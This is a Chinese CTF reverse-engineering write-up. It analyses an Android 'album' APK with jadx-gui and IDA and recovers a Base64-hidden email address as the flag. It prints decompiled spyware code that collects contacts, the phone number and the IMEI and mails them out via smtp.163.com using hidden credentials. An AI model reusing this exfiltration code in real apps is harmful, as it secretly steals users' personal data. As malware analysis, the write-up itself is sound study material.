BUUCTF-Reverse-相册
jadx-gui打开
下载后的文件是以 ".apk" 结尾,因此使用jadx-gui打开。
根据题目提示,搜索关键字mail。
选择第一行,点击转到。
public static int sendMailByJavaMail(String mailto, String title, String mailmsg) {if (!debug) {Mail m = new Mail(C2.MAILUSER, C2.MAILPASS);m.set_host(C2.MAILHOST);m.set_port(C2.PORT);m.set_debuggable(true);m.set_to(new String[]{mailto});m.set_from(C2.MAILFROME);m.set_subject(title);m.setBody(mailmsg);try {if (m.send()) {Log.i("IcetestActivity", "Email was sent successfully.");} else {Log.i("IcetestActivity", "Email was sent failed.");}} catch (Exception e) {Log.e("MailApp", "Could not send email", e);}}return 1;}
根据sendMailByJavaMail()方法中参数列表所要传的数据来看,这就是关键。
再次搜索看看谁调用了sendMailByJavaMail()这个方法
选第2行,转到。
public void run(String content2) {String notebooks = "";for (String[] note : NoteBook.get(this.context, IMAPStore.RESPONSE)) {notebooks = String.valueOf(notebooks) + note[0] + ":" + note[1] + "\r\n";}String tel = ((TelephonyManager) this.context.getSystemService("phone")).getLine1Number();if (tel == null || tel.equals("")) {tel = A2.getNoteBook(content2).phoneNumber;}A2.getNoteBook(content2);if (!A2.isEmpty(notebooks)) {A2.sendMailByJavaMail(C2.MAILSERVER, "通讯录(" + tel + "IMEI" + ((TelephonyManager) this.context.getSystemService("phone")).getDeviceId() + ")", notebooks);}}
发现有个MAILSERVER,右键 "跳到声明"
public static final String CANCELNUMBER = "%23%2321%23";public static final String MAILFROME = Base64.decode(NativeMethod.m());public static final String MAILHOST = "smtp.163.com";public static final String MAILPASS = Base64.decode(NativeMethod.pwd());public static final String MAILSERVER = Base64.decode(NativeMethod.m());public static final String MAILUSER = Base64.decode(NativeMethod.m());public static final String MOVENUMBER = "**21*121%23";public static final String PORT = "25";public static final String date = "2115-11-1";public static final String phoneNumber = Base64.decode(NativeMethod.p());
发现NativeMethod的m经过Base64加密。
MAILSERVER就是加载外部so文件中NativeMethod.m1m()函数所返回的值,再进行base64解密。因此我们只需要找到so文件中经过base64加密的字符串。
IDA打开
选择 "lib/armeabi/libcore.so",OK。
Shift + F12
双击 "MTgyMTg0NjUxMjVAMTYzLmNvbQ=="
再找到由Base64加密的字符串:"MTgyMTg0NjUxMjVAMTYzLmNvbQ=="
通过Base64解码得到flag{18218465125@163.com}
BUUCTF-Reverse-相册相关推荐
- BUUCTF Reverse/findKey
BUUCTF Reverse/findKey 先看文件信息:32位程序,没有加壳 打开看看,标题为find flag,也没啥有用的信息 IDA32位打开,找到start函数,看到有个main,跟随跳转 ...
- BUUCTF Reverse helloword、findit
BUUCTF Reverse helloword.findit helloword findit 一天一道CTF题目,能多不能少 记录一下这两道题,这两道题是安卓逆向的题目~ 第一次接触安卓逆向的题目 ...
- BUUCTF Reverse/Ultimate Minesweeper
BUUCTF Reverse/Ultimate Minesweeper 先看文件信息,没有加壳,且为net编写的程序 运行是一个扫雷游戏,只要点错一个就会自动退出(左上角显示的是雷的数目,一共有897 ...
- BUUCTF Reverse xor
题目:BUUCTF Reverse xor 一些犯傻后学到了新东西的记录 查壳,没壳,IDA打开 main函数很好理解,输入一个长度为33的字符串,1-32位与前一位异或后与global相等,则判定f ...
- BUUCTF Reverse/[网鼎杯 2020 青龙组]jocker
BUUCTF Reverse/[网鼎杯 2020 青龙组]jocker 先看下文件信息,没有加壳,32位程序 运行一下,又是一道字符串比较的题目 用IDA32位打开,分析一下 // positive ...
- BUUCTF Reverse/[GWCTF 2019]pyre
BUUCTF Reverse/[GWCTF 2019]pyre 下载得到一个pyc文件,用这个在线反编译pyc,pyo反汇编出代码 print 'Welcome to Re World!' print ...
- BUUCTF Reverse(helloworld)
BUUCTF Reverse(helloworld) 题目附件下载下来之后,是.apk后缀,所以可能是安卓逆向. 这里我用的工具是Android Killer,下载地址:https://xiazai. ...
- BUUCTF Reverse/[WUSTCTF2020]Cr0ssfun
BUUCTF Reverse/[WUSTCTF2020]Cr0ssfun 先看文件信息, IDA64位打开,很简单的题目,只要一个个输入就行 都是返回的这种元素 _BOOL8 __fastcall i ...
- BUUCTF reverse题解汇总
本文是BUUCTF平台reverse题解的汇总 题解均来自本人博客 目录 Page1 Page2 Page3 Page4 Page1 easyre reverse1 reverse2 内涵的软件 新年 ...
- [BUUCTF]Reverse——[网鼎杯 2020 青龙组]jocker
网上大部分是动调,我尝试IDC解一下, 无壳,32位,放入IDApro,查看main函数 查看wrong和str函数,借出假的flag a=[0x66,0x6B,0x63,0x64,0x7F,0x61 ...
最新文章
- 自制奇葩vb面试题,看你能对几道
- U盘打不开的解决方法
- Map 3D中程序设置地图中心点
- javascript 原生得到document.Element的方法
- jgGrid获得的id值是主键的id而不是jqGrid的行号值
- 用O(1)的时间复杂度删除单链表中的某个节点
- 1.11_shell_sort_希尔排序
- Android 百度地图开发(二)--- 定位功能之MyLocationOverlay,PopupOverlay的使用
- Android 输出word文件中插入图片
- 不要因为错爱而寂寞一生
- 易语言API获取进程程序路径
- wan端口未连接怎么弄_路由器WAN口未连接解决方法,WAN口未连接怎么办
- 全国程序员12月工资新鲜出炉,又降了!?
- 防微信聊天气泡图片实现
- 【考研数学】概率论 - 随机事件和概率
- 《如何阅读一本书》做一名“棒球赛中的捕手”
- BeautifulSoup里“find_all“和“findAll“的区别
- springboot集成Appollo动态配置
- SecureCRT常用文件操作命令
- jquery-svg-pan-zoom实现svg拖拽放大